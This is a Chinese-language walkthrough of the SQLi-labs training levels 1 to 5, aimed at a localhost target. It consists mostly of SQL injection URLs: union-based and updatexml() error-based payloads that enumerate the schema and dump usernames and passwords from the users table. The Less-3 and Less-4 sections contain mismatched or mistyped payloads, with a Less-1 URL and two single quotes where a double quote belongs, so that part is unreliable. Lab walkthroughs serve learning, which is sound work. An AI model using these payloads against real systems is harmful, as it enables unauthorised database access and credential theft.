SQLi-LABS靶场1-5通关攻略

less-1

这一关使用的PHP版本为5.4.45

1.根据题目给出的已知条件,确定使用ID作为参数

2.判断闭合方式 可以发现闭合方式是 ' --+

http://127.0.0.1/Less-1/?id=1' --+

3.判断字段列数(有几个字段) order by 

http://127.0.0.1/Less-1/?id=1' order by 1 --+

http://127.0.0.1/Less-1/?id=1' order by 2 --+

http://127.0.0.1/Less-1/?id=1' order by 3 --+

4.可以发现在order by 4的时候无法访问 说明只有3个字段

http://127.0.0.1/Less-1/?id=1' order by 4 --+

5.使用联合查询 可以找到页面的回显点

将页面原本查询的数据改为不存在的就可以显示页面的回显点

http://127.0.0.1/Less-1/?id=-1' union select 1,2,3 --+

6.使用联合查询 可以查到数据库名和用户名

http://127.0.0.1/Less-1/?id=-1' union select 1,database(),user() --+

7.联合查询 可以查出网站的security数据库里面的所有表名

group_concat()函数可以将同一个分组下的行拼接在一起

http://127.0.0.1/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

8.联合查询 可以查出users表里面的所有列(字段名)

http://127.0.0.1/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

less-2

 1.根据题目给出的已知条件,确定使用ID作为参数

2.判断闭合方式 可以发现闭合方式是 --+

3.判断字段列数(有几个字段) order by 

http://127.0.0.1/Less-2/?id=1 order by 1 --+

http://127.0.0.1/Less-2/?id=1 order by 2 --+

http://127.0.0.1/Less-2/?id=1 order by 3 --+

4.可以发现在order by 4的时候无法访问 说明只有3个字段

http://127.0.0.1/Less-2/?id=1 order by 4 --+

5.使用联合查询 可以找到页面的回显点

将页面原本查询的数据改为不存在的就可以显示页面的回显点

http://127.0.0.1/Less-2/?id=-1 union select 1,2,3 --+

 6.使用联合查询 可以查到数据库名和用户名

http://127.0.0.1/Less-2/?id=-1 union select 1,database(),user() --+

7.联合查询 可以查出网站的security数据库里面的所有表名

group_concat()函数可以将同一个分组下的行拼接在一起

http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

8.联合查询 可以查出users表里面的所有列(字段名)

http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

9.查询users表中的所有数据

http://127.0.0.1/Less-2/?id=-1 union select 1,2,group_concat(id,username,password) from users --+

less-3

1.根据题目给出的已知条件,确定使用ID作为参数

2.判断闭合方式 可以发现闭合方式是 ') --+

3.判断字段列数(有几个字段) order by 

http://127.0.0.1/Less-3/?id=1') order by 1 --+

http://127.0.0.1/Less-3/?id=1') order by 2 --+

http://127.0.0.1/Less-3/?id=1') order by 3 --+

4.可以发现在order by 4的时候无法访问 说明只有3个字段

http://127.0.0.1/Less-3/?id=1') order by 4 --+

5.使用联合查询 可以找到页面的回显点

将页面原本查询的数据改为不存在的就可以显示页面的回显点

http://127.0.0.1/Less-3/?id=-1') union select 1,2,3 --+

6.使用联合查询 可以查到数据库名和用户名

http://127.0.0.1/Less-1/?id=-1' union select 1,database(),user() --+

7.联合查询 可以查出网站的security数据库里面的所有表名

group_concat()函数可以将同一个分组下的行拼接在一起

http://127.0.0.1/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

8.联合查询 可以查出users表里面的所有列(字段名)

http://127.0.0.1/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

9.查询users表中的所有数据

http://127.0.0.1/Less-3/?id=-1') union select 1,2,group_concat(id,username,password) from users --+

less-4

1.根据题目给出的已知条件,确定使用ID作为参数

2.判断闭合方式 可以发现闭合方式是 ")  --+

http://127.0.0.1/Less-4/?id=1") --+

3.判断字段列数(有几个字段) order by 

http://127.0.0.1/Less-4/?id=1") order by 1 --+

http://127.0.0.1/Less-4/?id=1") order by 2 --+

http://127.0.0.1/Less-4/?id=1'') order by 3 --+

4.可以发现在order by 4的时候无法访问 说明只有3个字段

http://127.0.0.1/Less-4/?id=1") order by 4 --+

5.使用联合查询 可以找到页面的回显点

将页面原本查询的数据改为不存在的就可以显示页面的回显点

http://127.0.0.1/Less-4/?id=-1") union select 1,2,3 --+

6.使用联合查询 可以查到数据库名和用户名

http://127.0.0.1/Less-4/?id=-1'') union select 1,database(),user() --+

7.联合查询 可以查出网站的security数据库里面的所有表名

group_concat()函数可以将同一个分组下的行拼接在一起

http://127.0.0.1/Less-4/?id=-1'') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

8.联合查询 可以查出users表里面的所有列(字段名)

http://127.0.0.1/Less-4/?id=-1'') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

9.查询users表中的所有数据

http://127.0.0.1/Less-4/?id=-1'') union select 1,2,group_concat(id,username,password) from users --+

less-5

这一关通过报错注入实现sql注入

1.在id后面跟个单引号会引起报错 说明页面有报错语句的位置 可以使用报错注入

2.使用报错函数updatexml() 查询数据库和用户名

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(database())),1)--+

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(user())),1)--+

3.通过报错注入查询数据库中的所有表

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),1)--+

4.通过报错注入查询users表中的所有列(字段)

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from%20information_schema.columns where table_schema='security' and table_name='users')),1)--+

5.通过报错注入查询users表的所有数据

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)--+

6.由于结果显示不全 可以使用limit来逐个查询

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select username from users limit 0,1)),1)--+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值